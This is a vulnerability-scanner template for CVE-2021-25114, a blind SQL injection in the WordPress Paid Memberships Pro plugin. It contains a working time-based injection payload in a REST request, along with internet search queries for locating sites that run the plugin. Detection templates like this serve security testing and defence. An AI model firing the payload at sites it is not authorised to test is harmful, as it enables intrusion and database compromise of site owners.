WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection

id: CVE-2021-25114

info:
  name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114
    - https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25114
    cwe-id: CWE-89
    epss-score: 0.03548
    epss-percentile: 0.91594
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios

http:
  - raw:
      - |
        @timeout: 15s
        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration_1>=6
          - contains(header_1, "application/json")
          - status_code == 200
          - contains(body_2, 'other_discount_code_')
        condition: and
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